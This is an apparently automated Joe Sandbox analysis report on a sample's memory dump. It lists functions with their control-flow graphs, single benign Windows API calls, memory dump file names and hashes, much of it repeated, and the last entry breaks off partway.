                                                                                                                                                                                                                                                                                    Function 00B2D82F Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMONLIBRARYCODE
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 860 b2d82f-b2d83a 861 b2d848-b2d84e 860->861 862 b2d83c-b2d846 860->862 864 b2d850-b2d851 861->864 865 b2d867-b2d878 RtlAllocateHeap 861->865 862->861 863 b2d87c-b2d887 call b275f6 862->863 869 b2d889-b2d88b 863->869 864->865 866 b2d853-b2d85a call b29dc0 865->866 867 b2d87a 865->867 866->863 873 b2d85c-b2d865 call b28e36 866->873 867->869 873->863 873->865
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00B2A813,00000001,00000364,00000006,000000FF,?,00B2EE3F,?,00000004,00000000,?,?), ref: 00B2D871
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.1724286059.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724266147.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724286059.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724339320.0000000000B59000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724352079.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724366294.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724527704.0000000000CB9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724544915.0000000000CBC000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724564258.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724578480.0000000000CD6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724621172.0000000000CE4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724635228.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724652618.0000000000CFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724665702.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724681261.0000000000D0E000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724694069.0000000000D0F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724707349.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724727261.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724744142.0000000000D35000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724757641.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724775692.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724793853.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724807938.0000000000D4F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724821501.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724836637.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724852777.0000000000D5F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724870240.0000000000D68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724885841.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724899471.0000000000D77000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724915845.0000000000D78000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724930881.0000000000D79000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724947126.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724966117.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000D9B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725017541.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725032058.0000000000DE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725044415.0000000000DE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725057252.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725071220.0000000000DEF000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725087550.0000000000DFD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725100563.0000000000DFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725112173.0000000000DFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725125970.0000000000E00000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_af0000_file.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: AllocateHeap
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1279760036-0
                                                                                                                                                                                                                                                                                    • Opcode ID: b8719ed737db95b71b0c29c0e280c27aa2f691ba79f2e95fd232bc2f182d719e
                                                                                                                                                                                                                                                                                    • Instruction ID: b64063a632f3bbdef7a43cf368fdd3ee7a30ad1a9e8ebe009c3c8117d91c69a8
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: b8719ed737db95b71b0c29c0e280c27aa2f691ba79f2e95fd232bc2f182d719e
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: C2F0E23260123466FB213A72BC01A6B77D8DF853B0F1981E1AD0CAF181DE20DC0086E0
                                                                                                                                                                                                                                                                                    Function 00AF87B2 Relevance: 1.5, APIs: 1, Instructions: 14COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetFileAttributesA.KERNEL32(?,00AFDA1D,?,?,?,?), ref: 00AF87B9
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.1724286059.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724266147.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724286059.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724339320.0000000000B59000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724352079.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724366294.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724527704.0000000000CB9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724544915.0000000000CBC000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724564258.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724578480.0000000000CD6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724621172.0000000000CE4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724635228.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724652618.0000000000CFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724665702.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724681261.0000000000D0E000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724694069.0000000000D0F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724707349.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724727261.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724744142.0000000000D35000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724757641.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724775692.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724793853.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724807938.0000000000D4F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724821501.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724836637.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724852777.0000000000D5F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724870240.0000000000D68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724885841.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724899471.0000000000D77000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724915845.0000000000D78000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724930881.0000000000D79000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724947126.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724966117.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000D9B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725017541.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725032058.0000000000DE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725044415.0000000000DE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725057252.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725071220.0000000000DEF000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725087550.0000000000DFD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725100563.0000000000DFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725112173.0000000000DFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725125970.0000000000E00000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_af0000_file.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: AttributesFile
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3188754299-0
                                                                                                                                                                                                                                                                                    • Opcode ID: cfa477af0693920cd5ae9c55a07300119651dc907109f1ad55ce5904523ec18d
                                                                                                                                                                                                                                                                                    • Instruction ID: 96775ee87025bd1b9d19cc363635cdf898166a32971fedb1519c26bde4f26b07
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: cfa477af0693920cd5ae9c55a07300119651dc907109f1ad55ce5904523ec18d
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 47C08C2812260805ED1C26B800A8AF8338949477A43F42B88F5B44B1F1CA3D58079650
                                                                                                                                                                                                                                                                                    Function 00AF87B0 Relevance: 1.5, APIs: 1, Instructions: 12COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetFileAttributesA.KERNEL32(?,00AFDA1D,?,?,?,?), ref: 00AF87B9
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.1724286059.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724266147.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724286059.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724339320.0000000000B59000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724352079.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724366294.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724527704.0000000000CB9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724544915.0000000000CBC000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724564258.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724578480.0000000000CD6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724621172.0000000000CE4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724635228.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724652618.0000000000CFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724665702.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724681261.0000000000D0E000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724694069.0000000000D0F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724707349.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724727261.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724744142.0000000000D35000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724757641.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724775692.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724793853.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724807938.0000000000D4F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724821501.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724836637.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724852777.0000000000D5F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724870240.0000000000D68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724885841.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724899471.0000000000D77000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724915845.0000000000D78000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724930881.0000000000D79000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724947126.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724966117.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000D9B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725017541.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725032058.0000000000DE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725044415.0000000000DE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725057252.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725071220.0000000000DEF000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725087550.0000000000DFD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725100563.0000000000DFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725112173.0000000000DFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725125970.0000000000E00000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_af0000_file.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: AttributesFile
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3188754299-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 4cbe2c08eb7f271c8ca09a508f64075e45f8fcc1f6056213de02f8f53cad008b
                                                                                                                                                                                                                                                                                    • Instruction ID: 6e8882038ca811bd2014eaee2ee23a9270c560d0e821a2e0eaafc72753c1c399
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 4cbe2c08eb7f271c8ca09a508f64075e45f8fcc1f6056213de02f8f53cad008b
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: EDC08C3812220846EA1C6BB840A8AB832499A037283F01B8CF5B14B1F1CB3AC403CAA0
                                                                                                                                                                                                                                                                                    Function 00AFB1A0 Relevance: 1.5, APIs: 1, Instructions: 244COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • CoInitialize.OLE32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00AFB3C7
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.1724286059.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724266147.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724286059.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724339320.0000000000B59000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724352079.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724366294.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724527704.0000000000CB9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724544915.0000000000CBC000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724564258.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724578480.0000000000CD6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724621172.0000000000CE4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724635228.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724652618.0000000000CFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724665702.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724681261.0000000000D0E000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724694069.0000000000D0F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724707349.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724727261.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724744142.0000000000D35000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724757641.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724775692.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724793853.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724807938.0000000000D4F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724821501.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724836637.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724852777.0000000000D5F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724870240.0000000000D68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724885841.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724899471.0000000000D77000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724915845.0000000000D78000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724930881.0000000000D79000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724947126.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724966117.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
